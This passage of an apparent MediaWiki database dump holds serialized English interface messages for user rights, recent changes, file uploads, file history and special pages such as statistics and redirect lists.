pages\";'),('en','messages:right-movefile','s:10:\"Move files\";'),('en','messages:right-suppressredirect','s:56:\"Not create redirects from source pages when moving pages\";'),('en','messages:right-upload','s:12:\"Upload files\";'),('en','messages:right-reupload','s:24:\"Overwrite existing files\";'),('en','messages:right-reupload-own','s:44:\"Overwrite existing files uploaded by oneself\";'),('en','messages:right-reupload-shared','s:53:\"Override files on the shared media repository locally\";'),('en','messages:right-upload_by_url','s:23:\"Upload files from a URL\";'),('en','messages:right-purge','s:52:\"Purge the site cache for a page without confirmation\";'),('en','messages:right-autoconfirmed','s:25:\"Edit semi-protected pages\";'),('en','messages:right-bot','s:34:\"Be treated as an automated process\";'),('en','messages:right-nominornewtalk','s:72:\"Not have minor edits to discussion pages trigger the new messages prompt\";'),('en','messages:right-apihighlimits','s:32:\"Use higher limits in API queries\";'),('en','messages:right-writeapi','s:20:\"Use of the write API\";'),('en','messages:right-delete','s:12:\"Delete pages\";'),('en','messages:right-bigdelete','s:33:\"Delete pages with large histories\";'),('en','messages:right-deleterevision','s:47:\"Delete and undelete specific revisions of pages\";'),('en','messages:right-deletedhistory','s:59:\"View deleted history entries, without their associated text\";'),('en','messages:right-deletedtext','s:55:\"View deleted text and changes between deleted revisions\";'),('en','messages:right-browsearchive','s:20:\"Search deleted pages\";'),('en','messages:right-undelete','s:15:\"Undelete a page\";'),('en','messages:right-suppressrevision','s:55:\"Review and restore revisions hidden from administrators\";'),('en','messages:right-suppressionlog','s:17:\"View private logs\";'),('en','messages:right-block','s:30:\"Block other users from editing\";'),('en','messages:right-blockemail','s:32:\"Block a user from sending e-mail\";'),('en','messages:right-hideuser','s:43:\"Block a username, hiding it from the public\";'),('en','messages:right-ipblock-exempt','s:46:\"Bypass IP blocks, auto-blocks and range blocks\";'),('en','messages:right-proxyunbannable','s:34:\"Bypass automatic blocks of proxies\";'),('en','messages:right-protect','s:49:\"Change protection levels and edit protected pages\";'),('en','messages:right-editprotected','s:51:\"Edit protected pages (without cascading protection)\";'),('en','messages:right-editinterface','s:23:\"Edit the user interface\";'),('en','messages:right-editusercssjs','s:42:\"Edit other users\' CSS and JavaScript files\";'),('en','messages:right-editusercss','s:27:\"Edit other users\' CSS files\";'),('en','messages:right-edituserjs','s:34:\"Edit other users\' JavaScript files\";'),('en','messages:right-rollback','s:72:\"Quickly rollback the edits of the last user who edited a particular page\";'),('en','messages:right-markbotedits','s:35:\"Mark rolled-back edits as bot edits\";'),('en','messages:right-noratelimit','s:30:\"Not be affected by rate limits\";'),('en','messages:right-import','s:29:\"Import pages from other wikis\";'),('en','messages:right-importupload','s:31:\"Import pages from a file upload\";'),('en','messages:right-patrol','s:31:\"Mark others\' edits as patrolled\";'),('en','messages:right-autopatrol','s:54:\"Have one\'s own edits automatically marked as patrolled\";'),('en','messages:right-patrolmarks','s:32:\"View recent changes patrol marks\";'),('en','messages:right-unwatchedpages','s:30:\"View a list of unwatched pages\";'),('en','messages:right-trackback','s:18:\"Submit a trackback\";'),('en','messages:right-mergehistory','s:26:\"Merge the history of pages\";'),('en','messages:right-userrights','s:20:\"Edit all user rights\";'),('en','messages:right-userrights-interwiki','s:40:\"Edit user rights of users on other wikis\";'),('en','messages:right-siteadmin','s:28:\"Lock and unlock the database\";'),('en','messages:right-reset-passwords','s:28:\"Reset other users\' passwords\";'),('en','messages:right-override-export-depth','s:54:\"Export pages including linked pages up to a depth of 5\";'),('en','messages:right-versiondetail','s:46:\"Show the extended software version information\";'),('en','messages:right-sendemail','s:26:\"Send e-mail to other users\";'),('en','messages:rightslog','s:15:\"User rights log\";'),('en','messages:rightslogtext','s:40:\"This is a log of changes to user rights.\";'),('en','messages:rightslogentry','s:45:\"changed group membership for $1 from $2 to $3\";'),('en','messages:rightsnone','s:6:\"(none)\";'),('en','messages:action-read','s:14:\"read this page\";'),('en','messages:action-edit','s:14:\"edit this page\";'),('en','messages:action-createpage','s:12:\"create pages\";'),('en','messages:action-createtalk','s:23:\"create discussion pages\";'),('en','messages:action-createaccount','s:24:\"create this user account\";'),('en','messages:action-minoredit','s:23:\"mark this edit as minor\";'),('en','messages:action-move','s:14:\"move this page\";'),('en','messages:action-move-subpages','s:32:\"move this page, and its subpages\";'),('en','messages:action-move-rootuserpages','s:20:\"move root user pages\";'),('en','messages:action-movefile','s:14:\"move this file\";'),('en','messages:action-upload','s:16:\"upload this file\";'),('en','messages:action-reupload','s:28:\"overwrite this existing file\";'),('en','messages:action-reupload-shared','s:41:\"override this file on a shared repository\";'),('en','messages:action-upload_by_url','s:27:\"upload this file from a URL\";'),('en','messages:action-writeapi','s:17:\"use the write API\";'),('en','messages:action-delete','s:16:\"delete this page\";'),('en','messages:action-deleterevision','s:20:\"delete this revision\";'),('en','messages:action-deletedhistory','s:32:\"view this page\'s deleted history\";'),('en','messages:action-browsearchive','s:20:\"search deleted pages\";'),('en','messages:action-undelete','s:18:\"undelete this page\";'),('en','messages:action-suppressrevision','s:39:\"review and restore this hidden revision\";'),('en','messages:action-suppressionlog','s:21:\"view this private log\";'),('en','messages:action-block','s:28:\"block this user from editing\";'),('en','messages:action-protect','s:38:\"change protection levels for this page\";'),('en','messages:action-import','s:34:\"import this page from another wiki\";'),('en','messages:action-importupload','s:35:\"import this page from a file upload\";'),('en','messages:action-patrol','s:30:\"mark others\' edit as patrolled\";'),('en','messages:action-autopatrol','s:34:\"have your edit marked as patrolled\";'),('en','messages:action-unwatchedpages','s:32:\"view the list of unwatched pages\";'),('en','messages:action-trackback','s:18:\"submit a trackback\";'),('en','messages:action-mergehistory','s:30:\"merge the history of this page\";'),('en','messages:action-userrights','s:20:\"edit all user rights\";'),('en','messages:action-userrights-interwiki','s:40:\"edit user rights of users on other wikis\";'),('en','messages:action-siteadmin','s:27:\"lock or unlock the database\";'),('en','messages:nchanges','s:31:\"$1 {{PLURAL:$1|change|changes}}\";'),('en','messages:recentchanges','s:14:\"Recent changes\";'),('en','messages:recentchanges-url','s:21:\"Special:RecentChanges\";'),('en','messages:recentchanges-legend','s:22:\"Recent changes options\";'),('en','messages:recentchangestext','s:55:\"Track the most recent changes to the wiki on this page.\";'),('en','messages:recentchanges-feed-description','s:55:\"Track the most recent changes to the wiki in this feed.\";'),('en','messages:recentchanges-label-legend','s:11:\"Legend: $1.\";'),('en','messages:recentchanges-legend-newpage','s:13:\"$1 - new page\";'),('en','messages:recentchanges-label-newpage','s:28:\"This edit created a new page\";'),('en','messages:recentchanges-legend-minor','s:15:\"$1 - minor edit\";'),('en','messages:recentchanges-label-minor','s:20:\"This is a minor edit\";'),('en','messages:recentchanges-legend-bot','s:13:\"$1 - bot edit\";'),('en','messages:recentchanges-label-bot','s:32:\"This edit was performed by a bot\";'),('en','messages:recentchanges-legend-unpatrolled','s:21:\"$1 - unpatrolled edit\";'),('en','messages:recentchanges-label-unpatrolled','s:36:\"This edit has not yet been patrolled\";'),('en','messages:rcnote','s:126:\"Below {{PLURAL:$1|is \'\'\'1\'\'\' change|are the last \'\'\'$1\'\'\' changes}} in the last {{PLURAL:$2|day|\'\'\'$2\'\'\' days}}, as of $5, $4.\";'),('en','messages:rcnotefrom','s:60:\"Below are the changes since \'\'\'$2\'\'\' (up to \'\'\'$1\'\'\' shown).\";'),('en','messages:rclistfrom','s:33:\"Show new changes starting from $1\";'),('en','messages:rcshowhideminor','s:14:\"$1 minor edits\";'),('en','messages:rcshowhidebots','s:7:\"$1 bots\";'),('en','messages:rcshowhideliu','s:18:\"$1 logged-in users\";'),('en','messages:rcshowhideanons','s:18:\"$1 anonymous users\";'),('en','messages:rcshowhidepatr','s:18:\"$1 patrolled edits\";'),('en','messages:rcshowhidemine','s:11:\"$1 my edits\";'),('en','messages:rclinks','s:44:\"Show last $1 changes in last $2 days<br />$3\";'),('en','messages:diff','s:4:\"diff\";'),('en','messages:hist','s:4:\"hist\";'),('en','messages:hide','s:4:\"Hide\";'),('en','messages:show','s:4:\"Show\";'),('en','messages:minoreditletter','s:1:\"m\";'),('en','messages:newpageletter','s:1:\"N\";'),('en','messages:boteditletter','s:1:\"b\";'),('en','messages:unpatrolledletter','s:1:\"!\";'),('en','messages:sectionlink','s:3:\"→\";'),('en','messages:number_of_watching_users_RCview','s:4:\"[$1]\";'),('en','messages:number_of_watching_users_pageview','s:38:\"[$1 watching {{PLURAL:$1|user|users}}]\";'),('en','messages:rc_categories','s:39:\"Limit to categories (separate with \"|\")\";'),('en','messages:rc_categories_any','s:3:\"Any\";'),('en','messages:rc-change-size','s:2:\"$1\";'),('en','messages:newsectionsummary','s:20:\"/* $1 */ new section\";'),('en','messages:rc-enhanced-expand','s:34:\"Show details (requires JavaScript)\";'),('en','messages:rc-enhanced-hide','s:12:\"Hide details\";'),('en','messages:recentchangeslinked','s:15:\"Related changes\";'),('en','messages:recentchangeslinked-feed','s:15:\"Related changes\";'),('en','messages:recentchangeslinked-toolbox','s:15:\"Related changes\";'),('en','messages:recentchangeslinked-title','s:23:\"Changes related to \"$1\"\";'),('en','messages:recentchangeslinked-backlink','s:6:\"← $1\";'),('en','messages:recentchangeslinked-noresult','s:51:\"No changes on linked pages during the given period.\";'),('en','messages:recentchangeslinked-summary','s:180:\"This is a list of changes made recently to pages linked from a specified page (or to members of a specified category).\nPages on [[Special:Watchlist|your watchlist]] are \'\'\'bold\'\'\'.\";'),('en','messages:recentchangeslinked-page','s:10:\"Page name:\";'),('en','messages:recentchangeslinked-to','s:54:\"Show changes to pages linked to the given page instead\";'),('en','messages:upload','s:11:\"Upload file\";'),('en','messages:uploadbtn','s:11:\"Upload file\";'),('en','messages:reuploaddesc','s:43:\"Cancel upload and return to the upload form\";'),('en','messages:upload-tryagain','s:32:\"Submit modified file description\";'),('en','messages:uploadnologin','s:13:\"Not logged in\";'),('en','messages:uploadnologintext','s:60:\"You must be [[Special:UserLogin|logged in]] to upload files.\";'),('en','messages:upload_directory_missing','s:79:\"The upload directory ($1) is missing and could not be created by the webserver.\";'),('en','messages:upload_directory_read_only','s:59:\"The upload directory ($1) is not writable by the webserver.\";'),('en','messages:uploaderror','s:12:\"Upload error\";'),('en','messages:upload-summary','s:0:\"\";'),('en','messages:uploadtext','s:775:\"Use the form below to upload files.\nTo view or search previously uploaded files go to the [[Special:FileList|list of uploaded files]], (re)uploads are also logged in the [[Special:Log/upload|upload log]], deletions in the [[Special:Log/delete|deletion log]].\n\nTo include a file in a page, use a link in one of the following forms:\n* \'\'\'<tt><nowiki>[[</nowiki>{{ns:file}}<nowiki>:File.jpg]]</nowiki></tt>\'\'\' to use the full version of the file\n* \'\'\'<tt><nowiki>[[</nowiki>{{ns:file}}<nowiki>:File.png|200px|thumb|left|alt text]]</nowiki></tt>\'\'\' to use a 200 pixel wide rendition in a box in the left margin with \'alt text\' as description\n* \'\'\'<tt><nowiki>[[</nowiki>{{ns:media}}<nowiki>:File.ogg]]</nowiki></tt>\'\'\' for directly linking to the file without displaying the file\";'),('en','messages:upload-permitted','s:25:\"Permitted file types: $1.\";'),('en','messages:upload-preferred','s:25:\"Preferred file types: $1.\";'),('en','messages:upload-prohibited','s:26:\"Prohibited file types: $1.\";'),('en','messages:uploadfooter','s:1:\"-\";'),('en','messages:uploadlog','s:10:\"upload log\";'),('en','messages:uploadlogpage','s:10:\"Upload log\";'),('en','messages:uploadlogpagetext','s:126:\"Below is a list of the most recent file uploads.\nSee the [[Special:NewFiles|gallery of new files]] for a more visual overview.\";'),('en','messages:filename','s:8:\"Filename\";'),('en','messages:filedesc','s:7:\"Summary\";'),('en','messages:fileuploadsummary','s:8:\"Summary:\";'),('en','messages:filereuploadsummary','s:13:\"File changes:\";'),('en','messages:filestatus','s:17:\"Copyright status:\";'),('en','messages:filesource','s:7:\"Source:\";'),('en','messages:uploadedfiles','s:14:\"Uploaded files\";'),('en','messages:ignorewarning','s:35:\"Ignore warning and save file anyway\";'),('en','messages:ignorewarnings','s:19:\"Ignore any warnings\";'),('en','messages:minlength1','s:39:\"File names must be at least one letter.\";'),('en','messages:illegalfilename','s:125:\"The filename \"$1\" contains characters that are not allowed in page titles.\nPlease rename the file and try uploading it again.\";'),('en','messages:badfilename','s:35:\"File name has been changed to \"$1\".\";'),('en','messages:filetype-mime-mismatch','s:40:\"File extension does not match MIME type.\";'),('en','messages:filetype-badmime','s:59:\"Files of the MIME type \"$1\" are not allowed to be uploaded.\";'),('en','messages:filetype-bad-ie-mime','s:133:\"Cannot upload this file because Internet Explorer would detect it as \"$1\", which is a disallowed and potentially dangerous file type.\";'),('en','messages:filetype-unwanted-type','s:93:\"\'\'\'\".$1\"\'\'\' is an unwanted file type.\nPreferred {{PLURAL:$3|file type is|file types are}} $2.\";'),('en','messages:filetype-banned-type','s:97:\"\'\'\'\".$1\"\'\'\' is not a permitted file type.\nPermitted {{PLURAL:$3|file type is|file types are}} $2.\";'),('en','messages:filetype-missing','s:40:\"The file has no extension (like \".jpg\").\";'),('en','messages:large-file','s:68:\"It is recommended that files are no larger than $1;\nthis file is $2.\";'),('en','messages:largefileserver','s:59:\"This file is bigger than the server is configured to allow.\";'),('en','messages:emptyfile','s:144:\"The file you uploaded seems to be empty.\nThis might be due to a typo in the file name.\nPlease check whether you really want to upload this file.\";'),('en','messages:fileexists','s:132:\"A file with this name exists already, please check \'\'\'<tt>[[:$1]]</tt>\'\'\' if you are not sure if you want to change it.\n[[$1|thumb]]\";'),('en','messages:filepageexists','s:277:\"The description page for this file has already been created at \'\'\'<tt>[[:$1]]</tt>\'\'\', but no file with this name currently exists.\nThe summary you enter will not appear on the description page.\nTo make your summary appear there, you will need to manually edit it.\n[[$1|thumb]]\";'),('en','messages:fileexists-extension','s:184:\"A file with a similar name exists: [[$2|thumb]]\n* Name of the uploading file: \'\'\'<tt>[[:$1]]</tt>\'\'\'\n* Name of the existing file: \'\'\'<tt>[[:$2]]</tt>\'\'\'\nPlease choose a different name.\";'),('en','messages:fileexists-thumbnail-yes','s:226:\"The file seems to be an image of reduced size \'\'(thumbnail)\'\'.\n[[$1|thumb]]\nPlease check the file \'\'\'<tt>[[:$1]]</tt>\'\'\'.\nIf the checked file is the same image of original size it is not necessary to upload an extra thumbnail.\";'),('en','messages:file-thumbnail-no','s:198:\"The filename begins with \'\'\'<tt>$1</tt>\'\'\'.\nIt seems to be an image of reduced size \'\'(thumbnail)\'\'.\nIf you have this image in full resolution upload this one, otherwise change the file name please.\";'),('en','messages:fileexists-forbidden','s:166:\"A file with this name already exists, and cannot be overwritten.\nIf you still want to upload your file, please go back and use a new name.\n[[File:$1|thumb|center|$1]]\";'),('en','messages:fileexists-shared-forbidden','s:169:\"A file with this name exists already in the shared file repository.\nIf you still want to upload your file, please go back and use a new name.\n[[File:$1|thumb|center|$1]]\";'),('en','messages:file-exists-duplicate','s:67:\"This file is a duplicate of the following {{PLURAL:$1|file|files}}:\";'),('en','messages:file-deleted-duplicate','s:148:\"A file identical to this file ([[$1]]) has previously been deleted.\nYou should check that file\'s deletion history before proceeding to re-upload it.\";'),('en','messages:successfulupload','s:17:\"Successful upload\";'),('en','messages:uploadwarning','s:14:\"Upload warning\";'),('en','messages:uploadwarning-text','s:55:\"Please modify the file description below and try again.\";'),('en','messages:savefile','s:9:\"Save file\";'),('en','messages:uploadedimage','s:17:\"uploaded \"[[$1]]\"\";'),('en','messages:overwroteimage','s:34:\"uploaded a new version of \"[[$1]]\"\";'),('en','messages:uploaddisabled','s:17:\"Uploads disabled.\";'),('en','messages:uploaddisabledtext','s:26:\"File uploads are disabled.\";'),('en','messages:php-uploaddisabledtext','s:72:\"File uploads are disabled in PHP.\nPlease check the file_uploads setting.\";'),('en','messages:uploadscripted','s:92:\"This file contains HTML or script code that may be erroneously interpreted by a web browser.\";'),('en','messages:uploadvirus','s:38:\"The file contains a virus!\nDetails: $1\";'),('en','messages:upload-source','s:11:\"Source file\";'),('en','messages:sourcefilename','s:16:\"Source filename:\";'),('en','messages:sourceurl','s:11:\"Source URL:\";'),('en','messages:destfilename','s:21:\"Destination filename:\";'),('en','messages:upload-maxfilesize','s:21:\"Maximum file size: $1\";'),('en','messages:upload-description','s:16:\"File description\";'),('en','messages:upload-options','s:14:\"Upload options\";'),('en','messages:watchthisupload','s:15:\"Watch this file\";'),('en','messages:filewasdeleted','s:136:\"A file of this name has been previously uploaded and subsequently deleted.\nYou should check the $1 before proceeding to upload it again.\";'),('en','messages:upload-wasdeleted','s:213:\"\'\'\'Warning: You are uploading a file that was previously deleted.\'\'\'\n\nYou should consider whether it is appropriate to continue uploading this file.\nThe deletion log for this file is provided here for convenience:\";'),('en','messages:filename-bad-prefix','s:200:\"The name of the file you are uploading begins with \'\'\'\"$1\"\'\'\', which is a non-descriptive name typically assigned automatically by digital cameras.\nPlease choose a more descriptive name for your file.\";'),('en','messages:filename-prefix-blacklist','s:432:\" #<!-- leave this line exactly as it is --> <pre>\n# Syntax is as follows:\n#   * Everything from a \"#\" character to the end of the line is a comment\n#   * Every non-blank line is a prefix for typical file names assigned automatically by digital cameras\nCIMG # Casio\nDSC_ # Nikon\nDSCF # Fuji\nDSCN # Nikon\nDUW # some mobile phones\nIMG # generic\nJD # Jenoptik\nMGP # Pentax\nPICT # misc.\n #</pre> <!-- leave this line exactly as it is -->\";'),('en','messages:upload-proto-error','s:18:\"Incorrect protocol\";'),('en','messages:upload-proto-error-text','s:87:\"Remote upload requires URLs beginning with <code>http://</code> or <code>ftp://</code>.\";'),('en','messages:upload-file-error','s:14:\"Internal error\";'),('en','messages:upload-file-error-text','s:145:\"An internal error occurred when attempting to create a temporary file on the server.\nPlease contact an [[Special:ListUsers/sysop|administrator]].\";'),('en','messages:upload-misc-error','s:20:\"Unknown upload error\";'),('en','messages:upload-misc-error-text','s:189:\"An unknown error occurred during the upload.\nPlease verify that the URL is valid and accessible and try again.\nIf the problem persists, contact an [[Special:ListUsers/sysop|administrator]].\";'),('en','messages:upload-too-many-redirects','s:36:\"The URL contained too many redirects\";'),('en','messages:upload-unknown-size','s:12:\"Unknown size\";'),('en','messages:upload-http-error','s:25:\"An HTTP error occured: $1\";'),('en','messages:img-auth-accessdenied','s:13:\"Access denied\";'),('en','messages:img-auth-nopathinfo','s:181:\"Missing PATH_INFO.\nYour server is not set up to pass this information.\nIt may be CGI-based and cannot support img_auth.\nSee http://www.mediawiki.org/wiki/Manual:Image_Authorization.\";'),('en','messages:img-auth-notindir','s:57:\"Requested path is not in the configured upload directory.\";'),('en','messages:img-auth-badtitle','s:44:\"Unable to construct a valid title from \"$1\".\";'),('en','messages:img-auth-nologinnWL','s:55:\"You are not logged in and \"$1\" is not in the whitelist.\";'),('en','messages:img-auth-nofile','s:25:\"File \"$1\" does not exist.\";'),('en','messages:img-auth-isdir','s:71:\"You are trying to access a directory \"$1\".\nOnly file access is allowed.\";'),('en','messages:img-auth-streaming','s:15:\"Streaming \"$1\".\";'),('en','messages:img-auth-public','s:158:\"The function of img_auth.php is to output files from a private wiki.\nThis wiki is configured as a public wiki.\nFor optimal security, img_auth.php is disabled.\";'),('en','messages:img-auth-noread','s:39:\"User does not have access to read \"$1\".\";'),('en','messages:http-invalid-url','s:15:\"Invalid URL: $1\";'),('en','messages:http-invalid-scheme','s:44:\"URLs with the \"$1\" scheme are not supported.\";'),('en','messages:http-request-error','s:41:\"HTTP request failed due to unknown error.\";'),('en','messages:http-read-error','s:16:\"HTTP read error.\";'),('en','messages:http-timed-out','s:23:\"HTTP request timed out.\";'),('en','messages:http-curl-error','s:22:\"Error fetching URL: $1\";'),('en','messages:http-host-unreachable','s:20:\"Could not reach URL.\";'),('en','messages:http-bad-status','s:50:\"There was a problem during the HTTP request: $1 $2\";'),('en','messages:upload-curl-error6','s:19:\"Could not reach URL\";'),('en','messages:upload-curl-error6-text','s:102:\"The URL provided could not be reached.\nPlease double-check that the URL is correct and the site is up.\";'),('en','messages:upload-curl-error28','s:14:\"Upload timeout\";'),('en','messages:upload-curl-error28-text','s:138:\"The site took too long to respond.\nPlease check the site is up, wait a short while and try again.\nYou may want to try at a less busy time.\";'),('en','messages:license','s:10:\"Licensing:\";'),('en','messages:license-header','s:9:\"Licensing\";'),('en','messages:nolicense','s:13:\"None selected\";'),('en','messages:licenses','s:1:\"-\";'),('en','messages:license-nopreview','s:23:\"(Preview not available)\";'),('en','messages:upload_source_url','s:35:\" (a valid, publicly accessible URL)\";'),('en','messages:upload_source_file','s:26:\" (a file on your computer)\";'),('en','messages:listfiles-summary','s:156:\"This special page shows all uploaded files.\nBy default the last uploaded files are shown at top of the list.\nA click on a column header changes the sorting.\";'),('en','messages:listfiles_search_for','s:22:\"Search for media name:\";'),('en','messages:imgfile','s:4:\"file\";'),('en','messages:listfiles','s:9:\"File list\";'),('en','messages:listfiles_date','s:4:\"Date\";'),('en','messages:listfiles_name','s:4:\"Name\";'),('en','messages:listfiles_user','s:4:\"User\";'),('en','messages:listfiles_size','s:4:\"Size\";'),('en','messages:listfiles_description','s:11:\"Description\";'),('en','messages:listfiles_count','s:8:\"Versions\";'),('en','messages:file-anchor-link','s:4:\"File\";'),('en','messages:filehist','s:12:\"File history\";'),('en','messages:filehist-help','s:66:\"Click on a date/time to view the file as it appeared at that time.\";'),('en','messages:filehist-deleteall','s:10:\"delete all\";'),('en','messages:filehist-deleteone','s:6:\"delete\";'),('en','messages:filehist-revert','s:6:\"revert\";'),('en','messages:filehist-current','s:7:\"current\";'),('en','messages:filehist-datetime','s:9:\"Date/Time\";'),('en','messages:filehist-thumb','s:9:\"Thumbnail\";'),('en','messages:filehist-thumbtext','s:30:\"Thumbnail for version as of $1\";'),('en','messages:filehist-nothumb','s:12:\"No thumbnail\";'),('en','messages:filehist-user','s:4:\"User\";'),('en','messages:filehist-dimensions','s:10:\"Dimensions\";'),('en','messages:filehist-filesize','s:9:\"File size\";'),('en','messages:filehist-comment','s:7:\"Comment\";'),('en','messages:filehist-missing','s:12:\"File missing\";'),('en','messages:imagelinks','s:10:\"File links\";'),('en','messages:linkstoimage','s:66:\"The following {{PLURAL:$1|page links|$1 pages link}} to this file:\";'),('en','messages:linkstoimage-more','s:215:\"More than $1 {{PLURAL:$1|page links|pages link}} to this file.\nThe following list shows the {{PLURAL:$1|first page link|first $1 page links}} to this file only.\nA [[Special:WhatLinksHere/$2|full list]] is available.\";'),('en','messages:nolinkstoimage','s:42:\"There are no pages that link to this file.\";'),('en','messages:morelinkstoimage','s:58:\"View [[Special:WhatLinksHere/$1|more links]] to this file.\";'),('en','messages:redirectstofile','s:74:\"The following {{PLURAL:$1|file redirects|$1 files redirect}} to this file:\";'),('en','messages:duplicatesoffile','s:135:\"The following {{PLURAL:$1|file is a duplicate|$1 files are duplicates}} of this file ([[Special:FileDuplicateSearch/$2|more details]]):\";'),('en','messages:sharedupload','s:55:\"This file is from $1 and may be used by other projects.\";'),('en','messages:sharedupload-desc-there','s:122:\"This file is from $1 and may be used by other projects.\nPlease see the [$2 file description page] for further information.\";'),('en','messages:sharedupload-desc-here','s:127:\"This file is from $1 and may be used by other projects.\nThe description on its [$2 file description page] there is shown below.\";'),('en','messages:shareddescriptionfollows','s:1:\"-\";'),('en','messages:filepage-nofile','s:28:\"No file by this name exists.\";'),('en','messages:filepage-nofile-link','s:56:\"No file by this name exists, but you can [$1 upload it].\";'),('en','messages:uploadnewversion-linktext','s:33:\"Upload a new version of this file\";'),('en','messages:shared-repo-from','s:7:\"from $1\";'),('en','messages:shared-repo','s:19:\"a shared repository\";'),('en','messages:shared-repo-name-wikimediacommons','s:17:\"Wikimedia Commons\";'),('en','messages:filerevert','s:9:\"Revert $1\";'),('en','messages:filerevert-backlink','s:6:\"← $1\";'),('en','messages:filerevert-legend','s:11:\"Revert file\";'),('en','messages:filerevert-intro','s:88:\"You are about to revert the file \'\'\'[[Media:$1|$1]]\'\'\' to the [$4 version as of $3, $2].\";'),('en','messages:filerevert-comment','s:7:\"Reason:\";'),('en','messages:filerevert-defaultcomment','s:32:\"Reverted to version as of $2, $1\";'),('en','messages:filerevert-submit','s:6:\"Revert\";'),('en','messages:filerevert-success','s:73:\"\'\'\'[[Media:$1|$1]]\'\'\' has been reverted to the [$4 version as of $3, $2].\";'),('en','messages:filerevert-badversion','s:76:\"There is no previous local version of this file with the provided timestamp.\";'),('en','messages:filedelete','s:9:\"Delete $1\";'),('en','messages:filedelete-backlink','s:6:\"← $1\";'),('en','messages:filedelete-legend','s:11:\"Delete file\";'),('en','messages:filedelete-intro','s:85:\"You are about to delete the file \'\'\'[[Media:$1|$1]]\'\'\' along with all of its history.\";'),('en','messages:filedelete-intro-old','s:72:\"You are deleting the version of \'\'\'[[Media:$1|$1]]\'\'\' as of [$4 $3, $2].\";'),('en','messages:filedelete-comment','s:7:\"Reason:\";'),('en','messages:filedelete-submit','s:6:\"Delete\";'),('en','messages:filedelete-success','s:26:\"\'\'\'$1\'\'\' has been deleted.\";'),('en','messages:filedelete-success-old','s:67:\"The version of \'\'\'[[Media:$1|$1]]\'\'\' as of $3, $2 has been deleted.\";'),('en','messages:filedelete-nofile','s:24:\"\'\'\'$1\'\'\' does not exist.\";'),('en','messages:filedelete-nofile-old','s:71:\"There is no archived version of \'\'\'$1\'\'\' with the specified attributes.\";'),('en','messages:filedelete-otherreason','s:24:\"Other/additional reason:\";'),('en','messages:filedelete-reason-otherlist','s:12:\"Other reason\";'),('en','messages:filedelete-reason-dropdown','s:64:\"*Common delete reasons\n** Copyright violation\n** Duplicated file\";'),('en','messages:filedelete-edit-reasonlist','s:19:\"Edit delete reasons\";'),('en','messages:filedelete-maintenance','s:74:\"Deletion and restoration of files temporarily disabled during maintenance.\";'),('en','messages:mimesearch','s:11:\"MIME search\";'),('en','messages:mimesearch-summary','s:113:\"This page enables the filtering of files for its MIME type.\nInput: contenttype/subtype, e.g. <tt>image/jpeg</tt>.\";'),('en','messages:mimetype','s:10:\"MIME type:\";'),('en','messages:download','s:8:\"download\";'),('en','messages:unwatchedpages','s:15:\"Unwatched pages\";'),('en','messages:unwatchedpages-summary','s:0:\"\";'),('en','messages:listredirects','s:17:\"List of redirects\";'),('en','messages:listredirects-summary','s:0:\"\";'),('en','messages:unusedtemplates','s:16:\"Unused templates\";'),('en','messages:unusedtemplates-summary','s:0:\"\";'),('en','messages:unusedtemplatestext','s:171:\"This page lists all pages in the {{ns:template}} namespace which are not included in another page.\nRemember to check for other links to the templates before deleting them.\";'),('en','messages:unusedtemplateswlh','s:11:\"other links\";'),('en','messages:randompage','s:11:\"Random page\";'),('en','messages:randompage-nopages','s:75:\"There are no pages in the following {{PLURAL:$2|namespace|namespaces}}: $1.\";'),('en','messages:randompage-url','s:14:\"Special:Random\";'),('en','messages:randomredirect','s:15:\"Random redirect\";'),('en','messages:randomredirect-nopages','s:45:\"There are no redirects in the namespace \"$1\".\";'),('en','messages:statistics','s:10:\"Statistics\";'),('en','messages:statistics-summary','s:0:\"\";'),('en','messages:statistics-header-pages','s:15:\"Page statistics\";'),('en','messages:statistics-header-edits','s:15:\"Edit statistics\";'),('en','messages:statistics-header-views','s:15:\"View statistics\";'),('en','messages:statistics-header-users','s:15:\"User statistics\";'),('en','messages:statistics-header-hooks','s:16:\"Other statistics\";'),('en','messages:statistics-articles','s:13:\"Content pages\";'),('en','messages:statistics-pages','s:5:\"Pages\";'),('en','messages:statistics-pages-desc','s:60:\"All pages in the wiki, including talk pages, redirects, etc.\";'),('en','messages:statistics-files','s:14:\"Uploaded files\";'),('en','messages:statistics-edits','s:40:\"Page edits since {{SITENAME}} was set up\";'),('en','messages:statistics-edits-average','s:22:\"Average edits per page\";'),('en','messages:statistics-views-total','s:11:\"Views total\";'),('en','messages:statistics-views-peredit','s:14:\"Views per edit\";'),('en','messages:statistics-jobqueue','s:65:\"[http://www.mediawiki.org/wiki/Manual:Job_queue Job queue] length\";'),('en','messages:statistics-users','s:38:\"Registered [[Special:ListUsers|users]]\";'),('en','messages:statistics-users-active','s:12:\"Active users\";'),('en','messages:statistics-users-active-desc','s:72:\"Users who have performed an action in the last {{PLURAL:$1|day|$1 days}}\";'),('en','messages:statistics-mostpopular','s:17:\"Most viewed pages\";'),('en','messages:statistics-footer','s:0:\"\";'),('en','messages:disambiguations','s:20:\"Disambiguation pages\";'),('en','messages:disambiguations-summary','s:0:\"\";'),('en','messages:disambiguationspage','s:17:\"Template:disambig\";'),('en','messages:disambiguations-text','s:231:\"The following pages link to a \'\'\'disambiguation page\'\'\'.\nThey should link to the appropriate topic instead.<br />\nA page is treated as disambiguation page if it uses a template which is linked from [[MediaWiki:Disambiguationspage]]\";'),('en','messages:doubleredirects','s:16:\"Double redirects\";'),('en','messages:doubleredirects-summary','s:0:\"\";'),('en','messages:doubleredirectstext','s:293:\"This page lists pages which redirect to other redirect pages.\nEach row contains links to the first and second redirect, as well as the target of the second redirect, which is usually the \"real\" target page, which the first redirect should point to.\n<s>Crossed out</s> entries have been solved.\";'),('en','messages:double-redirect-fixed-move','s:50:\"[[$1]] has been moved.\nIt now redirects to [[$2]].\";'),('en','messages:double-redirect-fixer','s:14:\"Redirect fixer\";'),('en','messages:brokenredirects','s:16:\"Broken redirects\";'),('en','messages:brokenredirects-summary','s:0:\"\";'),('en','messages:brokenredirectstext','s:51:\"The following redirects link to non-existent pages:\";'),('en','messages:brokenredirects-edit','s:4:\"edit\";'),('en','messages:brokenredirects-delete','s:6:\"delete\";'),('en','messages:withoutinterwiki','s:28:\"Pages without language links\";'),('en','messages:withoutinterwiki-summary','s:59:\"The following pages do not link to other language versions.\";'),('en','messages:withoutinterwiki-legend','s:6:\"Prefix\";'),('en','messages:withoutinterwiki-submit','s:4:\"Show\";'),('en','messages:fewestrevisions','s:31:\"Pages with the fewest revisions\";'),('en','messages:fewestrevisions-summary','s:0:\"\";'),('en','messages:nbytes','s:27:\"$1 